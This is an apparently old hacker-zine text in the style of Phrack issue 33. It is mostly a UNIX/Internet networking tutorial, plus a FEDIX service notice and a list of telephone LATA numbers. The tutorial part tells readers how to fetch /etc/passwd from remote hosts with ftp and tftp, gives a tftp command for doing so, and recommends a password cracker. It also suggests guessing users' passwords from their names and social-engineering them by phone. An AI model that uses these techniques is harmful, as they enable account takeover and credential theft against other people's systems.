* TAC Userid: #THE.GATSBY

* Access Code: #10kgb0124

* Login OK

* TCP trying...Open

*

*

7 Basic Commands

~~~~~~~~~~~~~~~~~~

a: Basic TELNET Commands

Situation: You have an account on a UNIX system that is a host on Internet. Now you can access the entire world! Once the UNIX system you should see a prompt, which can look like a '$' or '%' (it also depends on what shell you are in and the type of Unix system). At the prompt you can do all the normal UNIX commands, but when on a Internet host you can type 'telnet' which will bring you to the 'telnet' prompt.

*

* $ #telnet

* ^ ^

| |

| the command that will bring you to the telnet prompt

|

a normal UNIX prompt

You should get this:

*

* telnet>

*

At this prompt you will have a whole different set of commands which are as follows (This comes from UCSD, so it may vary from place to place).

*

* telnet> #help

*

* close close current connection

* display display operating parameters

* open connect to a site

* quit exit telnet

* send transmit special character

* set set operating parameters

* status print status information

* toggle toggle operating parameters

* ? to see what you are looking at now

*

close ‑ this command is used to 'close' a connection, when multitasking or jumping between systems.

display ‑ this set the display setting, commands for this are as follow.

^E echo.

^] escape.

^H erase.

^O flushoutput.

^C interrupt.

^U kill.

^\ quit.

^D eof.

open ‑ type 'open [host]' to connect to a system

*

* $ #telnet ucsd.edu

*

or

*

* telnet> #open 125.24.64.32.1

*

quit ‑ to get out of telnet and back to UNIX

send ‑ send files

set ‑ set

echo ‑ character to toggle local echoing on/off

escape ‑ character to escape back to telnet command mode

The following need 'localchars' to be toggled:

erase ‑ character to cause an Erase Character flushoutput ‑ character to cause an Abort Output

interrupt ‑ character to cause an Interrupt Process

kill ‑ character to cause an Erase Line

quit ‑ character to cause a Break

eof ‑ character to cause an EOF

? ‑ display help information

b: ftp ANONYMOUS to a remote site

ftp or file transfer protocol is used to copy files from a remote host to the one that you are on. You can copy anything. Security has really clamped down on the passwd file, but it will still work here and there (always worth a shot).

This could be useful when you see a Internet CuD (Computer Underground Digest) site that accepts a anonymous ftps, and you want to read the CuDs, but do not feel like wasting your time on boards downloading them. The best way to start out is to ftp a directory to see what you are getting.

Example: The CuD archive site has an Internet address of 192.55.239.132 and my account name is "gats".

*

* $ #ftp

* ^ ^

| |

| ftp command

|

UNIX prompt

*

* ftp> #open 192.55.239.132

* Connected to 192.55.239.132

* 220 192.55.239.132 FTP Server (sometimes the date, etc)

* Name (192.55.239.132:gats): #anonymous

* ^ ^ ^

| | |

| | This is where you type 'anonymous' unless

| | you have a account on 192.55.239.132. | |

| This is the name of my account or [from] |

This is the Internet address or [to]

*

* Password: #gats

* ^

|

For this just type your username or anything you feel like typing in at that time. It doesn't matter.

*

* % ftp 192.55.239.132

* Connected to 192.55.239.132

* ftp> #ls

* ^

|

You are connected now, thus you can ls it.

Just move around like you would in a normal unix system. Most of the commands still apply on this connection. Here is a example of me getting a copy of the Electronic Frontier Foundation's Effector (issue 1.04) from Internet address 192.55.239.132.

*

* % #ftp

* ftp> #open 128.135.12.60

* Trying 128.135.12.60...

* 220 chsun1 FTP server (SunOS 4.1) ready.

* Name (128.135.12.60:gatsby): anonymous

* 331 Guest login ok, send ident as password.

* Password: #gatsby

* 230 Guest login ok, access restrictions apply.

* ftp> #ls

* 200 PORT command successful.

* 150 ASCII data connection for /bin/ls (132.239.13.10,4781) * (0 bytes). * .hushlogin

* bin

* dev

* etc

* pub

* usr

* README

* 226 ASCII Transfer complete.

* 37 bytes received in 0.038 seconds (0.96 Kbytes/s)

* ftp>

___________________________________

|

| This is where you can try to 'cd' the "etc" dir or just 'get' | /etc/passwd, but grabbing the passwd file this way is a dieing art.

|___________________________________

* ftp> #cd pub

* 200 PORT command successful.

* ftp> #ls

* ceremony

* cud

* dos

* eff

* incoming

* united

* unix

* vax

* 226 ASCII Transfer cmplete.

* 62 bytes received in 1.1 seconds (0.054 Kbytes/s)

* ftp> #cd eff

* 250 CWD command successful.

* ftp> #ls

* 200 PORT command successful.

* 150 ASCII data connection for /bin/ls (132.239.13.10,4805) (0 bytes). * Index

* eff.brief

* eff.info

* eff.paper

* eff1.00

* eff1.01

* eff1.02

* eff1.03

* eff1.04

* eff1.05

* realtime.1

* 226 ASCII Transfer complete.

* 105 bytes received in 1.8 seconds (0.057 Kbytes/s)

* ftp> #get

* (remote‑file) #eff1.04

* (local‑file) #eff1.04

* 200 PORT command successful.

* 150 Opening ASCII mode data connection for eff1.04 (909 bytes). * 226 Transfer complete.

* local: eff1.04 remote: eff1.04

* 931 bytes received in 2.2 seconds (0.42 Kbytes/s)

* ftp> #close

* Bye...

* ftp> #quit

* %

*

To read the file you can just 'get' the file and buffer it. If the files are just too long, you can 'xmodem' it off the host you are on. Just type 'xmodem' and that will make it much faster to get the files. Here is the set up (as found on ocf.berkeley.edu).

If you want to: type:

send a text file from an apple computer to the ME xmodem ra <filename> send a text file from a non‑apple home computer xmodem rt <filename> send a non‑text file from a home computer xmodem rb <filename> send a text file to an apple computer from the ME xmodem sa <filename> send a text file to a non‑apple home computer xmodem st <filename> send a non‑text file to a home computer xmodem sb <filename>

xmodem will then display:

*

* XMODEM Version 3.6 ‑‑ UNIX‑Microcomputer Remote File Transfer Facility * File filename Ready to (SEND/BATCH RECEIVE) in (binary/text/apple) mode * Estimated File Size (file size)

* Estimated transmission time (time)

* Send several Control‑X characters to cancel

*

Hints‑ File transfer can be an iffy endeavor; one thing that can help is to tell the annex box not to use flow control. Before you do rlogin, type

stty oflow none

stty iflow none

at the annex prompt. This works best coming through 2‑6092.

Some special commands used during ftp session are cdup (same as cd ..) and dir (gives a detailed listing of the files).

c: How to tftp the Files

tftp (Trivial File Transfer Protocol, the command is NOT in caps, because UNIX is case sensitive) is a command used to transfer files from host to host. This command is used sometimes like ftp, in that you can move around using UNIX commands. I will not go into this part of the command, but I will go into the basic format, and structure to get files you want. Moreover, I will be covering how to flip the /etc/passwd out of remote sites. There is a little trick that has been around a while. It helps you to "flip" the /etc/passwd file out of different sites, which gets you the passwd file without out breaking into the system. Then just run Brute Hacker (the latest version) on the thing and you save time and energy. This 'hole' (not referring to the method of obtaining Unix superuser status) may can be found on SunOS 3.X, but has been fixed in 4.0. It has sometimes appeared in System V, BSD and a few others.

The only problem with this 'hole' is that the system manager will often realize what you are doing. The problem occurs when attempts to tftp the /etc/passwd is happen too many times. You may see this (or something like this) when you logon on to your account. This was buffered off of plague.berkeley.edu. I guess they knew what I was doing.

*

* DomainOS Release 10.3 (bsd4.3) Apollo DN3500 (host name):

* This account has been deactivated due to use in system cracking * activities (specifically attempting to tftp /etc/passwd files from remote * sites) and for having been used or broken in to from <where the calls are * from>. If the legitimate owner of the account wishes it reactivated, * please mail to the staff for more information.

*

* ‑ Staff

*

The tftp is used in this format:

tftp ‑<command> <any name> <Internet Address> /etc/passwd <netascii>

Command ‑g is to get the file, this will copy the file onto your 'home' directory, thus you can do anything with the file.

Any Name If your going to copy it to your 'home' directory, it needs a name.

Internet This is the address that you want to snag the passwd file from. Address There are hundreds of thousands of them.

/ETC/PASSWD THIS IS THE FILE THAT YOU WANT. You do not want John Smith's even though it would be trivial to retreive it.

netascii This how you want the file to be transferred.

& Welcome to the power of UNIX, it is multitasking, this little symbol place at the end will allow you to do other things (such as grab the passwd file from the UNIX that you are on).

Here is the set up: We want to get the passwd file from sunshine.ucsd.edu. The file in your 'home' directory is going to be named 'asunshine'.

*

* $ #tftp ‑g asunshine sunshine.ucsd.edu /etc/passwd &

*

d Basic Fingering

Fingering is a real good way to get an account on remote sites. Typing 'who' or just 'finger <account name> <CR>' you can have names to "finger". This will give you all kinds information on the person's account. Here is a example of how to do it:

*

* % #who

* joeo ttyp0 Jun 10 21:50 (bmdlib.csm.edu) * gatsby ttyp1 Jun 10 22:25 (foobar.plague.mil) * ddc crp00 Jun 10 11:57 (aogpat.cs.pitt.edu) * liliya display Jun 10 19:40

/and fingering what you see

* % #finger bbc

* Login name: ddc In real life: David Douglas Cornwall * Office: David C. Co

* Directory: //aogpat/users_local/bdc Shell: /bin/csh

* On since Jun 10 11:57:46 on crp00 from aogpat Phone 555‑1212 * 52 minutes Idle Time

* Plan: I like to eat apples and bananas.

* %

*

Now you could just call (or Telnet to) 'aogpat.cs.pit.edu' and try to hack out an account. Try the last name as the password, the first name, the middle name, and try them all backwards. The chances are real good that you WILL get in because people are stupid.

If there are no users online for you to type "who" you can just type "last" and all of the users who logged on will come rolling out. Now "finger" them. The only problem with using the "last" command is aborting it.

You can also try telephoning individual users and tell them you are the system manager (i.e. social engineer them). However, I have not always seen phone numbers in everyone's ".plan" file (the file you see when you finger the user).

8 Other Networks

~~~~~~~~~~~~~~~~~

AARNet ‑ Australian Academic and Research Network. This network supports research for various Australian Universities. This network supports TCP/IP, DECnet, and OSI (CLNS).

ARPANET ‑ We've already discussed this network.

BITNET ‑ Because It's Time NETwork (BITNET) is a worldwide network that connects many colleges and universities. This network uses many different protocols, but it dose use the TCP/IP.

CREN CSNET ‑ Corporation for Research and Educational Network (CREN) or Computer + Science research NETwork (CSNET). This network links scientists at sites all over the world. CSNET providing access

to the Internet, CREN to BITNET. CREN is the name more often used today.

CSUNET ‑ California State University Network (CSUNET). This network connects the California State University campuses and other universities in California. This network is based on the CCITT X.25 protocol, and also uses TCP/IP, SNA/DSLC, DECnet, and others.

The Cypress Net ‑ This network started as a experimental network. The use of this network today is as a connection to the TCP/IP Internet as a cheap price.

DRI ‑ Defense Research Internet is a WAN that is used as a platform from which to work from. This network has all kind of services, such as multicast service, real‑time conference and more. This network uses the TCP/IP (also see RFC 907‑A for more information on this network).

ESnet ‑ This is the new network operated by the Department of Energy's Office of Energy Research (DoE OER). This net is the backbone for all DoE OER programs. This network replaced the High Energy Physics DECnet (HEPnet) and also the Magnetic Fusion Energy network (MFEnet). The protocols offered are IP/TCP and also DECnet service.

JANET ‑ JANET is a Joint Academic NETwork based in the UK, connected to the Internet. JANET is a PSN (information has pass through a PAD) using the protocol X.25 though it does support the TCP/IP. This network also connects PSS (Packet Switched Service is a PSN that is owned and operated by British telecom).

JUNET ‑ Japan's university message system using UUCP, the Internet as its backbone, and X.25 (see RFC 877). This network is also a part of USENET (this is the network news).

Los Nettos ‑ Los Nettos is a high speed MAN in the Los Angeles area. This network uses the IP/TCP.

MILNET ‑ When ARPANET split, the DDN was created and MILNET (MILitary NETwork) is also a part of the network. MILNET is unclassified, but there are three other classified networks that make up the DDN.

NORDUNet ‑ This net is the backbone to the networks in the Nordic Countries, Denmark (DENet), Finland (FUNET), Iceland (SURIS), Norway (UNINETT), and Sweden (SUNET). NORDUnet supports TCP/IP, DECNet, and X.25.

NSN ‑ NASA Science Network (NSN). This network is used by NASA to send and relay information. The protocols used are TCP/IP. NSN has a sister network called Space Physics Analysis Network (SPAN) for DECNet.

ONet ‑ Ontario Network is a TCP/IP network used for research.

NSFNet ‑ National Science Foundation Network, this network is in the IP/TCP family, but in any case it uses UDP (User Diagram Protocol) and not TCP. NSFnet is the network for the US scientific and engineering research community. Listed below are all the NSFNet Sub‑networks:

BARRNet ‑ Bay Area Regional Research Network is located in the San Francisco area. This network uses TCP/IP.

CERFnet ‑ California Education and Research Federation Network is a research based network supporting Southern California Universities communication services. This network uses TCP/IP.

CICNet ‑ Committee on Institutional Cooperation. This network services the BIG 10, and University of Chicago. This network uses TCP/IP.

JvNCnet ‑ John von Neumann National Supercomputer Center. This network uses TCP/IP.

Merit ‑ Merit connects Michigan's academic and research computers. This network supports TCP/IP, X.25 and Ethernet for LANs.

MIDnet ‑ MIDnet connects 18 universities and research centers in the midwest United States. The support protocols are TELNET, FTP and SMTP.

MRNet ‑ Minnesota Regional Network, this network services Minnesota. The network protocols are TCP/IP.

NEARnet ‑ New England Academic and Research Network, connects various research/educational institutions. You can get more information about this net by mailing 'nearnet‑staff@bbn.com'.

NCSAnet ‑ The National Center for Supercomputing Applications supports the whole IP family (TCP, UDP, ICMP, etc).

NWNet ‑ North West Network provides service to the Northwestern United States and Alaska. This network supports IP and DECnet.

NYSERNet ‑ New York Service Network is a autonomous nonprofit network. This network supports the TCP/IP.

OARnet ‑ Ohio Academic Resources Network gives access to the Ohio Supercomputer Center. This network supports TCP/IP.

PREPnet ‑ Pennsylvania Research and Economic Partnership is a network operated and managed by Bell of Pennsylvania. It supports TCP/IP.

PSCNET ‑ Pittsburgh Supercomputer Center serving Pennsylvania, Maryland, and Ohio. It supports TCP/IP, and DECnet.

SDSCnet ‑ San Diego Super Computer Center is a network whose goal is to support research in the field of science. The Internet address is 'y1.ucsc.edu' or call Bob at (619)534‑5060 and ask for a account on his Cray.

Sesquinet ‑ Sesquinet is a network based in Texas. It supports TCP/IP.

SURAnet ‑ Southeastern Universities Research Association Network is a network that connects institutions in the Southeast United States.

THEnet ‑ Texas Higher Education Network is a network that is run by Texas A&M University. This network connects to hosts in Mexico.

USAN/NCAR ‑ University SAtellite Network (USAN)/National Center for Atmospheric Research is a network for information exchange.

Westnet ‑ Westnet connects the western part of the United States, but not including California. The network is supported by Colorado State University.

USENET ‑ USENET is the network news (the message base for the Internet). This message base is quite large with over 400 different topics and connecting to 17 different countries.

9 Internet Protocols

~~~~~~~~~~~~~~~~~~~~~

TCP/IP is a general term relating to the whole family of Internet protocols. The protocols in this family are IP, TCP, UDP, ICMP, ROSE, ACSE, CMIP, ISO, ARP and Ethernet for LANs. If if you want more information, get the RFCs.

TCP/IP protocol is a "layered" set of protocols. In this diagram taken from RFC 1180 you will see how the protocol is layered when connection is made.

Figure is of a Basic TCP/IP Network Node:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Network Application |

|

| ... \ | / .. \ | / .

| ‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑

| | TCP | | UDP | |

| ‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑

| \ / Key %

| ‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑

| | ARP | | IP | | UDP User Diagram Protocol

| ‑‑‑‑‑‑‑ ‑‑‑‑‑‑*‑‑ TCP Transfer Control Protocol

| \ | IP Internet Protocol

| \ | ENET Ethernet

| ‑‑‑‑‑‑‑‑‑‑‑‑‑ ARP Address Resolution

| | ENET | | Protocol

| ‑‑‑‑‑‑‑@‑‑‑‑‑ O Transceiver

| | Ethernet Address

‑‑‑‑‑‑‑‑‑‑‑‑‑‑ | ‑‑‑‑‑‑‑‑‑‑‑‑‑‑IP address

|

========================O========================================

^

|

Ethernet Cable

TCP/IP: If connection is made is between the IP module and the TCP module the packets are called a TCP datagram. TCP is responsible for making sure that the commands get through the other end. It keeps track of what is sent, and retransmits anything that does not go through. The IP provides the basic service of getting TCP datagram from place to place. It may seem like the TCP is doing all the work, this is true in small networks, but when connection is made to a remote host on the Internet (passing through several networks) this is a complex job. Say I am connected from a server at UCSD to LSU (SURAnet) the data grams have to pass through a NSFnet backbone. The IP has to keep track of all the data when the switch is made at the NSFnet backbone from the TCP to the UDP. The only NSFnet backbone that connects LSU is the University of Maryland, which has different circuit sets. The cable (trunk)/circuit types are the T1 (a basic 24‑channel 1.544 Md/s pulse code modulation used in the US) to a 56 Kbps. Keeping track of all the data from the switch from T1 to 56Kbs and TCP to UDP is not all it has to deal with. Datagrams on their way to the NSFnet backbone (at the University of Maryland) may take many different paths from the UCSD server.

All the TCP does is break up the data into datagrams (manageable chunks), and keeps track of the datagrams. The TCP keeps track of the datagrams by placing a header at the front of each datagram. The header contains 160 (20 octets) pieces of information about the datagram. Some of this information is the FQDN (Fully Qualified Domain Name). The datagrams are numbers in octets (a group of eight binary digits, say there are 500 octets of data, the numbering of the datagrams would be 0, next datagram 500, next datagram 1000, 1500 etc.

UDP/IP: UDP is one of the two main protocols of the IP. In other words the UDP works the same as TCP, it places a header on the data you send, and passes it over to the IP for transportation throughout the Internet. The difference is that it offers service to the user's network application. It does not maintain an end‑to‑end connection, it just pushes the datagrams out.

ICMP: ICMP is used for relaying error messages. For example you might try to connect to a system and get a message back saying "Host unreachable", this is ICMP in action. This protocol is universal within the Internet, because of its nature. This protocol does not use port numbers in it's headers, since it talks to the network software itself.

Ethernet: Most of the networks use Ethernet. Ethernet is just a party line. When packets are sent out on the Ethernet, every host on the Ethernet sees them. To make sure the packets get to the right place, the Ethernet designers wanted to make sure that each address is different. For this reason 48 bits are allocated for the Ethernet address, and a built in Ethernet address on the Ethernet controller.

The Ethernet packets have a 14‑octet header, this includes address "to" and "from." The Ethernet is not too secure, it is possible to have the packets go to two places, thus someone can see just what you are doing. You need to take note that the Ethernet is not connected to the Internet. A host on both the Ethernet and on the Internet has to have both an Ethernet connection and an Internet server.

ARP: ARP translates the IP address into an Ethernet address. A conversion table is used (the table is called ARP Table) to convert the addresses. Therefore, you would never even know if you were connected to the Ethernet because you would be connecting to the IP address.

The following is a real sketchy description of a few Internet protocols, but if you would like to get more information you can access it via anonymous ftp from several hosts. Here is a list of RFCs that deal with the topic of protocols.

|~~~~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~

| RFC: | Description: |

| |

|~~~~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~

| rfc1011 | Official Protocols of the Internet | | rfc1009 | NSFnet gateway specifications | | rfc1001/2 | netBIOS: networking for PC's | | rfc894 | IP on Ethernet | | rfc854/5 | telnet ‑ protocols for remote logins |

| rfc793 | TCP |

| rfc792 | ICMP |

| rfc791 | IP |

| rfc768 | UDP |

| |

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

10 Host Name and Address

~~~~~~~~~~~~~~~~~~~~~~~~~

Internet addresses are long and difficult hard to remember (i.e., 128.128.57.83) so we use host names. All hosts registered on the Internet must have names that reflect them domains under which they are registered. Such names are called Fully Qualified Domain Names (FQDNs). Lets dissect a name and see the domains:

lilac.berkeley.edu

^ ^ ^

| | |

| | |____ "edu" shows that this host is sponsored by an | | education related organization. This is a top‑level | | domain.

| |

| |___________ "berkeley" is the second‑level domain. This shows | that it is an organization within University of | Calironia at Berkeley.

|

|__________________ "lilac" is the third‑level domain. This indicates the local host name is 'lilac'.

Common Top‑Level Domains

COM ‑ commercial enterprise

EDU ‑ educational institutions

GOV ‑ nonmilitary government agencies

MIL ‑ military (non‑classified)

NET ‑ networking entities

ORG ‑ nonprofit intuitions

A network address is the numerical address of a host, gateway, or TAC. The addresses are made up of four decimal numbered slots, which are separated by a period.

There are three classes that are used most, these are Class A, Class B, and Class C.

Class A ‑ from '0' to '127'

Class B ‑ from '128' to '191'

Class C ‑ from '192' to '223'

Class A ‑ Is for MILNET net hosts. The first part of the address has the network number. The second is for the physical PSN port number. The third is for the logical port number, since it is on MILNET, it is a MILNET host. The fourth part is for which PSN it is on. On 29.34.0.9. '29' is the network it is on. '34' means it is on port '34'. '9' is the PSN number.

Class B ‑ This is for the Internet hosts, the first two "clumps" are for the network portion. The second two are for the local port.

128.28.82.1

\_/ \_/

| |_____ Local portion of the address |

|___________ Potation address.

Class C ‑ The first three "clumps" are the network portion and the last one is the local port.

193.43.91.1

\_|_/ |_____ Local Portation Address |

|__________ Network Portation Address

FEDIX On-Line Information Service

==Phrack Inc.==

Volume Three, Issue Thirty‑Three, File 4 of 13

___________________________

|

| FEDIX |

| On‑Line Information Service |

|

| Written by the people at FEDIX |

|

| Like Fedix Upix |

|___________________________

What is FEDIX?

FEDIX is an on‑line information service that links the higher education community and the federal government to facilitate research, education, and services. The system provides accurate and timely federal agency information to colleges, universities, and other research organizations.

There are NO REGISTRATION FEES and NO ACCESS CHARGES for using FEDIX. The only cost is for the phone call.

FEDIX provides daily information updates on:

‑ Federal EDUCATION and RESEARCH PROGRAMS (including descriptions, eligibility, funding, deadlines).

‑ SCHOLARSHIPS, FELLOWSHIPS, and GRANTS

‑ Available used government RESEARCH EQUIPMENT

‑ New funding for specific research and education activities from the COMMERCE BUSINESS DAILY, FEDERAL REGISTER, and other sources. ‑ MINORITY ASSISTANCE research and education programs

‑ NEWS & CURRENT EVENTS within participating agencies

‑ GENERAL INFORMATION such as agency history, budget, organizational structure, mission statement, etc.

PARTICIPATING AGENCIES

Currently FEDIX provides information on 7 federal agencies broken down into 2 general categories:

1. Comprehensive Education and Research Related Agency Information ‑ The Department of Energy (DOE)

‑ Office of Naval Research (ONR)

‑ National Aeronautics and Space Administration (NASA)

‑ Federal Aviation Administration (FAA)

2. Minority Assistance Information

‑ National Science Foundation (NSF)

‑ Department of Housing and Urban Development (HUD)

‑ Department of Commerce (DOC)

Additional government agencies are expected to join FEDIX in the future.

REQUIRED HARDWARE AND SOFTWARE

Any microcomputer with communications software (or a dumb terminal) and a modem operating at 1200 or 2400 baud can access the system.

HOURS OF OPERATION

The system operates 24 hours a day, 7 days a week. The only exceptions are for periodic system updating or maintenance.

TELEPHONE NUMBERS

* Computer (data line): 301‑258‑0953 or 1‑800‑232‑4879

* HELPLINE (technical assistance): 301‑975‑0103.

The HELPLINE (for problems or comments) is open Monday‑Friday 8:30 AM‑4:30 PM Eastern Daylight Time, except on federal holidays.

SYSTEM FEATURES

Although FEDIX provides a broad range of features for searching, scanning, and downloading, the system is easy to use. The following features will permit quick and easy access to agency databases:

Menus

‑‑ Information in the system is organized under a series of branching menus. By selecting appropriate menu options (using either the OPTION NUMBER or the two‑character MENU CODE), you may begin at the FEDIX Main Menu and work your way through various intermediate menus to a desired sub‑menu. However, if you already know the menu code of a desired menu, you may bypass the intermediate menus and proceed directly to that menu by typing the menu code at the prompt.

Help screens are available for key menus and can be viewed by typing '?' at the prompt.

Capturing Data

‑‑ If you are using a microcomputer with communicaions software, it is likely that your system is capable of storing or "capturing" information as it comes across your screen. If you "turn capture on", you will be able to view information from the databases and store it in a file on your system to be printed later. This may be desirable at times when downloading is not appropriate. Refer to your communications software documentation for instructions on how to activate the capture feature.

Downloading

‑‑ Throughout the system, options are available which allow you to search, list, and/or download files containing information on specific topics. The download feature can be used to deliver text files (ASCII) or compressed, self‑extracting ASCII files to your system very quickly for later use at your convenience. Text files in ASCII format, tagged with a ".MAC" extension, are downloadable by Macintosh users. Compressed ASCII files, tagged with an ".EXE" extension, may be downloaded by users of IBM compatible computers. However, your system must be capable of file transfers. (See the documentation on your communication software).

Mail

‑‑ An electronic bulletin board feature allows you to send and receive messages to and from the SYSTEM OPERATOR ONLY. This feature will NOT send messages between users. It can be used to inquire about operating the system, receive helpful suggestions from the systems operator, etc.

Utility Menu

‑‑ The Utility Menu, selected from the FEDIX Main Menu, enables you to modify user information, prioritize agencies for viewing, search and download agency information, set a default calling menu, and set the file transfer protocol for downloading files.

INDEX OF KEY INFORMATION ON FEDIX

Key information for each agency is listed below with the code for the menu from which the information can be accessed. Please be advised that this list is not comprehensive and that a significant amount of information is available on FEDIX in addition to what is listed here.

AGENCY/DATABASE MENU CODE

DEPARTMENT OF ENERGY (DOE)/DOEINFO

Available Used Research Equipment :EG:

Research Program Information :IX:

Education Program Information :GA:

Search/List/Download Program Information :IX: Research and Training Reactors Information :RT:

Procurement Notices MM:

Current Events DN:

NATIONAL AERONAUTICS AND SPACE ADMINISTRATION/NASINFO

Research Program Information :RP:

Education Program Information :EA:

Search/List/Download Program Information :NN: Description/Activities of Space Centers :SC:

Procurement Notices EV:

Proposal/Award Guidelines :NA:

OFFICE OF NAVAL RESEARCH/ONRINFO

Research Program Information :RY:,:AR:

Special Programs (Special Research and Education Initiatives) :ON: Search/List/Download Program Information :NR: Description/Activities of Laboratories and other ONR Facilities :LB: Procurement Notices (Broad Agency Announcements, Requests for ‑‑

Proposals, etc. NE:

Information on the Preparation and Administration of Contracts, ‑‑

Grants, Proposals AD:

FEDERAL AVIATION ADMINISTRATION/FAAINFO

Education Program Information ‑ Pre‑College :FE: Mio rity Aviation Education Programs :FY: Search/List/Download Program Information :FF: Aviation Education Resources (Newsletters, Films/Videos, ‑‑

Publications) FR:

Aviation Education Contacts (Government, Industry, Academic, ‑‑

Associations) FO:

College‑Level Airway Science Curriculum Information :FC:

Procurement Notice FP:

Planned Competitive and Noncompetitive Procurements for the ‑‑

Current Fiscal Year F1:

Employment Information FN:

Current Events FV:

MINORITY/MININFO

U. S. Department of Commerce

Research/Education Minority Assistance Programs :CP: Procurement Notices (ALL Notices for Agency) :M1:

Current Events M1:

Minority Contacts M1:

Department of Energy

Research/Education Minority Assistance Programs :EP: Procurement Notices (ALL Notices for Agency) :M2:

Current Events M2:

Minority Contacts M2:

U.S. Department of Housing and Urban Development Research/Education Minority Assistance Programs :HP: Procurement Notices (ALL Notices for Agency) :M3:

Current Events M3:

Minority Contacts M3:

National Aeronautics and Space Administration Research/Education Minority Assistance Programs :NP: Procurement Notices (ALL Notices for Agency) :M4:

Current Events M4:

Minority Contacts M4:

National Science Foundation

Research/Education Minority AssisdaXce Programs :SP: Procurement Notices (ALL Notices for Agency) :M5:

Budget Information SB:

NSF Bulletin M5:

Minority Contacts M5:

LATA Referance List

==Phrack Inc.==

Volume Three, Issue Thirty‑Three, File 5 of 13

|\/\/\/\/\/\/\

|

| LATA Referance List |

|

| by Infinite Loop |

|

|/\/\/\/\/\/\/

United States telephone LATA official designation numbers:

STATE NAME NUMBER

AK ALASKA 832

AL BIRMINGHAM 476

AL HUNTSVILLE 477

AL MONTGOMERY 478

AL MOBILE 480

AR FORT SMITH 526

AR LITTLE ROCK 528

AR PINE BLUFF 530

AZ PHOENIX 666

AZ TUCSON 668

AZ NAVAJO RESERVATION 980

CA SAN FRANCISCO 722

CA CHICO 724

CA SACRAMENTO 726

CA FRESNO 728

CA LOS ANGELES 730

CA SAN DIEGO 732

CA BAKERSFIELD 734

CA MONTEREY 736

CA STOCKTON 738

CA SAN LUIS OBISPO 740

CA PALM SPRINGS 973

CO DENVER 656

CO COLORADO SRPINGS 658

CT CONNECTICUT <SNET> 920

DC WASHINGTON 236

FL PENSACOLA 448

FL PANAMA CITY 450

FL JACKSONVILLE 452

FL GAINESVILLE 454

FL DAYTONA BEACH 456

FL ORLANDO 458

FL SOUTHEAST 460

FL FORT MYERS 939

FL GULF COST 952

FL TALLAHASSEE 953

GA ATLANTA 438

GA SAVANNAH 440

GA AUGUSTA 442

GA ALBANY 444

GA MACON 446

HI HAWAII 834

IA SIOUX CITY 630

IA DES MOINES 632

IA DAVENPORT 634

IA CEDAR RAPIDS 635

ID IDAHO 652

ID COEUR D'ALENE 960

IL CHICAGO 358

IL ROCKFORD 360

IL CAIRO 362

IL STERLING 364

IL FORREST 366

IL PEORIA 368

IL CHAMPAIGN 370

IL SPRINGFIELD 372

IL QUINCY 374

IL MATTOON 976

IL GALESBURG 977

IL OLNEY 978

IN EVANSVILLE 330

IN SOUTH BEND 332

IN AUBURN/HUNTINGTON 334

IN INDIANAPOLIS 336

IN BLOOMINGTON 338

IN RICHMOND 937

IN TERRE HAUTE 938

KS WICHITA 532

KS TOPEKA 534

KY LOUISVILLE 462

KY OWENSBORO 464

KY WINCHESTER 466

LA SHREVEPORT 486

LA LAFAYETTE 488

LA NEW ORLEANS 490

LA BATON ROUGE 492

MA WESTERN MASSACHUSETT 126

MA EASTERN MASSACHUSETT 128

MD BALTIMORE 238

MD HAGERSTOWN 240

MD SALISBURY 242

ME MAINE 120

MI DETROIT 340

MI UPPER PENINSULA 342

MI SAGINAW 344

MI LANSING 346

MI GRAND RAPIDS 348

MN ROCHESTER 620

MN DULUTH 624

MN ST CLOUD 626

MN MINNEAPOLIS 628

MO ST LOUIS 520

MO WESTPHALIA 521

MO SPRINGFIELD 522

MO KANSAS CITY 524

MS JACKSON 482

MS BILOXI 484

MT GREAT FALLS 648

MT BILLINGS 650

MT KALISPELL 963

NC ASHEVILLE 420

NC CHARLOTTE 422

NC GREENSBORO 424

NC RALEIGH 426

NC WILMINGTON 428

NC FAYETTEVILLE 949

NC ROCKY MOUNT 951

ND FARGO 636

ND BISMARCK 638

NE OMAHA 644

NE GRAND ISLAND 646

NE LINCOLN 958

NH NEW HAMPSHIRE 122

NJ ATLANTIC COSTAL 220

NJ DELAWARE VALLEY 222

NJ NORTH JERSEY 224

NM NEW MEXICO 664

NV RENO 720

NV PAHRUMP 721

NY NEW YORK METRO 132

NY POUGHKEEPSIE 133

NY ALBANY 134

NY SYRACUSE 136

NY BINGHAMTON 138

NY BUFFALO 140

NY FISHERS ISLAND 921

NY ROCHESTER 974

OH CLEAVELAND 320

OH YOUNGSTOWN 322

OH COLUMBUS 324

OH AKRON 325

OH TOLEDO 326

OH DAYTON 328

OH CINCINNATI BELL 922

OH MANSFIELD 923

OK OKLAHOMA CITY 536

OK TULSA 538

OR EUGENE 670

OR PORTLAND 672

PA CAPITAL 226

PA PHILADELPHIA 228

PA ALTOONA 230

PA NORTHEAST 232

PA PITTSBURG 234

PA ERIE 924

PR PUERTO RICO 820

RI RHODE ISLAND 130

SC GREENVILLE 430

SC FLORENCE 432

SC COLUMBIA 434

SC CHARLESTON 436

SD SOUTH DAKOTA 640

TN MEMPHIS 468

TN NASHVILLE 470

TN CHATTANOOGA 472

TN KNOXVILLE 474

TN BRISTOL 956

TX EL PASO 540

TX MIDLAND 542

TX LUBBOCK 544

TX AMARILLO 546

TX WICHITA FALLS 548

TX ABILENE 550

TX DALLAS 552

TX LONGVIEW 554

TX WACO 556

TX AUSTIN 558

TX HOUSTON 560

TX BEAUMONT 562

TX CORPUS CHRISTI 564

TX SAN ANTONIO 566

TX BROWNSVILLE 568

TX HEARNE 570

TX SAN ANGELO 961

US MIDWAY/WAKE 836

UT UTAH 660

UT NAVAJO RESERVATION 981

VA ROANOKE 244

VA CULPEPER 246

VA RICHMOND 248

VA LYNCHBURG 250

VA NORFOLK 252

VA HARRISONBURG 927

VA CHARLOTTESVILLE 928

VA EDINBURG 929

VI US VIRGIN ISLANDS 822

VT VERMONT 124

WA SEATTLE 674

WA SPOKANE 676

WI NORTHEASST 350

WI NORTHWEST 352

WI SOUTHWEST 354

WI SOUTHEAST 356

WV CHARLESTON 254

WV CLARKSBURG 256

